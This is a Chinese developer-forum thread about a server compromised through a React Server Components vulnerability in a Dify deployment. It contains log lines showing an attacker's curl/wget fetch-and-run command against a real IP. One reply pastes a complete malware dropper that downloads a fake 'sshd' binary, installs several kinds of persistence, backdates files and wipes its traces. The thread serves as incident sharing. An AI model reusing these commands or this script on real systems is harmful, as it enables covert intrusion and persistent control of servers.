Jony4Fun

第一次遇到这么 bt 的问题,原来是 React 的漏洞

  •  
  •   Jony4Fun · Dec 5, 2025 · 6933 views
    This topic created in 186 days ago, the information mentioned may be changed or developed.

    从今天下午 4 点起,云服务器不断报警,下载了 xlg_amd64 、xlg.shget.sh 等奇奇怪怪的脚本。 杀了过了一会又出现了,

    最终定位到是 dify 的 web 容器执行的脚本。

    一直没仔细看云平台上的告警:CVE-2025-66478 ( https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

    dify issue 里显示修复了: https://github.com/langgenius/dify/issues/29202

    但是晚上我升级到了 1.10.1-fix.1 ,发现还是有这个问题。。请示领导先关服务了。

    脚本名字起得都如此凶戾。

    14:29:16 0|dify-web  | /bin/sh: curl: not found
    14:29:16 0|dify-web  | Connecting to 103.135.101.15 (103.135.101.15:80)
    14:29:16 0|dify-web  | wget: can't connect to remote host (103.135.101.15): Connection refused
    14:29:16 0|dify-web  | sh: can't open 'wocaosinm.sh': No such file or directory
    14:29:16 0|dify-web  | rm: can't remove 'wocaosinm.sh': No such file or directory
    14:29:16 0|dify-web  |  ⨯ [Error: Command failed: curl http://103.135.101.15/wocaosinm.sh;wget http://103.135.101.15/wocaosinm.sh;sh wocaosinm.sh;rm -r wocaosinm.sh
    14:29:16 0|dify-web  | /bin/sh: curl: not found
    14:29:16 0|dify-web  | Connecting to 103.135.101.15 (103.135.101.15:80)
    14:29:16 0|dify-web  | wget: can't connect to remote host (103.135.101.15): Connection refused
    14:29:16 0|dify-web  | sh: can't open 'wocaosinm.sh': No such file or directory
    14:29:16 0|dify-web  | rm: can't remove 'wocaosinm.sh': No such file or directory
    
    

    21 replies    2025-12-08 17:11:59 +08:00
    shukuang
        1
    shukuang  
       Dec 6, 2025
    默认配置下 React 服务器,通杀漏洞,升级版本是唯一解决途径
    laminux29
        2
    laminux29  
       Dec 6, 2025
    wocaosinm.sh

    噗。。。。
    levelworm
        3
    levelworm  
       Dec 6, 2025
    能不能发个脚本的代码让我们欣赏一下。
    rick13
        4
    rick13  
       Dec 6, 2025
    笑死我了
    AmericanExpress
        5
    AmericanExpress  
       Dec 6, 2025 via iPhone
    @levelworm
    就在那个 curl 里面
    script 本身没啥 从这个 ip `103.135.101.15:80` 下载了一个 binary 并执行
    dankai
        6
    dankai  
       Dec 6, 2025
    这脚本名笑死🤣
    x86
        7
    x86  
       Dec 6, 2025
    命名丝毫不带藏的,笑死
    bingfengfeifei
        8
    bingfengfeifei  
       Dec 6, 2025
    lobechat 也中招了,这次这个影响范围感觉比之前的 log4j 漏洞大的多
    Wuuuu
        9
    Wuuuu  
       Dec 6, 2025
    很好奇,假如只用 react +其他后端,不用 nextjs ,是不是就没问题了……还是单纯 react 前端也受到影响了……
    bestie
        10
    bestie  
       Dec 6, 2025   ❤️ 1
    @Wuuuu #9 纯前端没影响,主要是 server component
    proxychains
        11
    proxychains  
       Dec 6, 2025
    笑死了
    Ketteiron
        12
    Ketteiron  
       Dec 6, 2025
    笑死了🤣可以评选今年最佳
    yefee
        13
    yefee  
       Dec 6, 2025
    我们客户服务器也中招了
    crysislinux
        14
    crysislinux  
       Dec 6, 2025 via Android
    我们倒是没中这个,不过中了之前的供应链投毒。。大家 npm 还是切记要 ignore scripts ,。
    y1y1
        15
    y1y1  
       Dec 6, 2025
    绷不住了,起名高手
    Jony4Fun
        16
    Jony4Fun  
    OP
       Dec 7, 2025
    有兴趣的可以去 wget 下来试试 哈哈哈
    rizon
        17
    rizon  
       Dec 7, 2025
    希望可以分享一下各个脚本,很想知道都是做什么的。
    那个链接已经不能下载了
    Biem
        18
    Biem  
       Dec 7, 2025
    求分享 wocaosinm.sh 源文件,看名字感觉是有组织的攻击行为。
    Blank10030
        19
    Blank10030  
       Dec 7, 2025
    贴一下目前发现的脚本
    ```bash
    #!/bin/bash
    SELF="$(cd "$(dirname "$0")" && pwd)/$(basename "$0")"

    INSTALL_DIR="/etc"
    PROGRAM_NAME="sshd"
    DOWNLOAD_URL_64="http://143.92.62.76:8080/sshd64"
    DOWNLOAD_URL_32="http://143.92.62.76:8080/sshd86"
    CUSTOM_TIMESTAMP="202301051030.00"
    SERVICE_NAME="system-sshd"
    AUTOSTART_METHOD="all"


    detect_arch() {
    case "$(uname -m)" in
    x86_64|amd64|aarch64|ppc64|ppc64le|s390x) echo "64" ;;
    *) [ "$(getconf LONG_BIT 2>/dev/null)" = "64" ] && echo "64" || echo "32" ;;
    esac
    }

    set_ts() { [ -e "$1" ] && touch -t "$CUSTOM_TIMESTAMP" "$1" 2>/dev/null; }

    download() {
    local url="$DOWNLOAD_URL_32"
    [ "$1" = "64" ] && url="$DOWNLOAD_URL_64"
    local target="${INSTALL_DIR}/${PROGRAM_NAME}"
    mkdir -p "$INSTALL_DIR" 2>/dev/null

    if command -v wget &>/dev/null; then
    wget -q --no-check-certificate -O "$target" "$url" 2>/dev/null
    elif command -v curl &>/dev/null; then
    curl -sfkL -o "$target" "$url" 2>/dev/null
    else
    return 1
    fi

    [ -s "$target" ] && chmod +x "$target" && set_ts "$target"
    }

    setup_systemd() {
    command -v systemctl &>/dev/null || return
    local svc="/etc/systemd/system/${SERVICE_NAME}.service"
    cat > "$svc" << EOF
    [Unit]
    Description=System Service
    After=network.target
    [Service]
    Type=simple
    ExecStart=${INSTALL_DIR}/${PROGRAM_NAME}
    Restart=always
    RestartSec=30
    [Install]
    WantedBy=multi-user.target
    EOF
    set_ts "$svc"
    systemctl daemon-reload 2>/dev/null
    systemctl enable "$SERVICE_NAME" 2>/dev/null
    systemctl start "$SERVICE_NAME" 2>/dev/null
    }

    setup_initd() {
    local s="/etc/init.d/${SERVICE_NAME}"
    cat > "$s" << EOF
    #!/bin/bash
    ### BEGIN INIT INFO
    # Provides: ${SERVICE_NAME}
    # Required-Start: \$network
    # Default-Start: 2 3 4 5
    # Default-Stop: 0 1 6
    ### END INIT INFO
    D="${INSTALL_DIR}/${PROGRAM_NAME}"
    P="/var/run/${SERVICE_NAME}.pid"
    case "\$1" in
    start) [ -f "\$P" ] && kill -0 \$(cat "\$P") 2>/dev/null && exit 0; nohup "\$D" >/dev/null 2>&1 & echo \$! > "\$P" ;;
    stop) [ -f "\$P" ] && kill \$(cat "\$P") 2>/dev/null; rm -f "\$P" ;;
    restart) \$0 stop; sleep 1; \$0 start ;;
    esac
    EOF
    chmod +x "$s" && set_ts "$s"
    command -v update-rc.d &>/dev/null && update-rc.d "$SERVICE_NAME" defaults 2>/dev/null
    command -v chkconfig &>/dev/null && chkconfig --add "$SERVICE_NAME" 2>/dev/null && chkconfig "$SERVICE_NAME" on 2>/dev/null
    "$s" start 2>/dev/null
    }

    setup_rclocal() {
    local rc="/etc/rc.local"
    [ -f /etc/rc.d/rc.local ] && rc="/etc/rc.d/rc.local"
    [ ! -f "$rc" ] && echo -e '#!/bin/bash\nexit 0' > "$rc"
    grep -q "${PROGRAM_NAME}" "$rc" 2>/dev/null || sed -i "/exit 0/i\\${INSTALL_DIR}/${PROGRAM_NAME} \&" "$rc" 2>/dev/null
    chmod +x "$rc" && set_ts "$rc"
    systemctl enable rc-local 2>/dev/null
    }

    setup_crontab() {
    (crontab -l 2>/dev/null | grep -v "${PROGRAM_NAME}"; echo "@reboot ${INSTALL_DIR}/${PROGRAM_NAME}") | crontab - 2>/dev/null
    }

    setup_profile() {
    local p="/etc/profile.d/${SERVICE_NAME}.sh"
    echo "pgrep -x '${PROGRAM_NAME}'>/dev/null||${INSTALL_DIR}/${PROGRAM_NAME}&" > "$p"
    chmod +x "$p" && set_ts "$p"
    }


    {
    [ "$(id -u)" -ne 0 ] && exit 1

    download "$(detect_arch)" || { rm -f "$SELF" 2>/dev/null; exit 1; }

    case "$AUTOSTART_METHOD" in
    systemd) setup_systemd ;;
    initd) setup_initd ;;
    rclocal) setup_rclocal ;;
    crontab) setup_crontab ;;
    all) setup_systemd; setup_initd; setup_rclocal; setup_crontab; setup_profile ;;
    esac

    pgrep -x "${PROGRAM_NAME}" >/dev/null 2>&1 || nohup "${INSTALL_DIR}/${PROGRAM_NAME}" >/dev/null 2>&1 &

    history -c 2>/dev/null
    rm -f "$SELF" /tmp/deploy.sh /tmp/.deploy.sh 2>/dev/null

    } &>/dev/null &

    exit 0
    ```
    Jony4Fun
        20
    Jony4Fun  
    OP
       Dec 7, 2025
    @Blank10030 #19 我看到的还不一样,哈哈,我那个脚本里删了很多系统库
    kasusa
        21
    kasusa  
       Dec 8, 2025
    wocaosinm.sh 我去这个名字😂
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Solana   ·   952 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 90ms · UTC 20:12 · PVG 04:12 · LAX 13:12 · JFK 16:12
    ♥ Do have faith in what you're doing.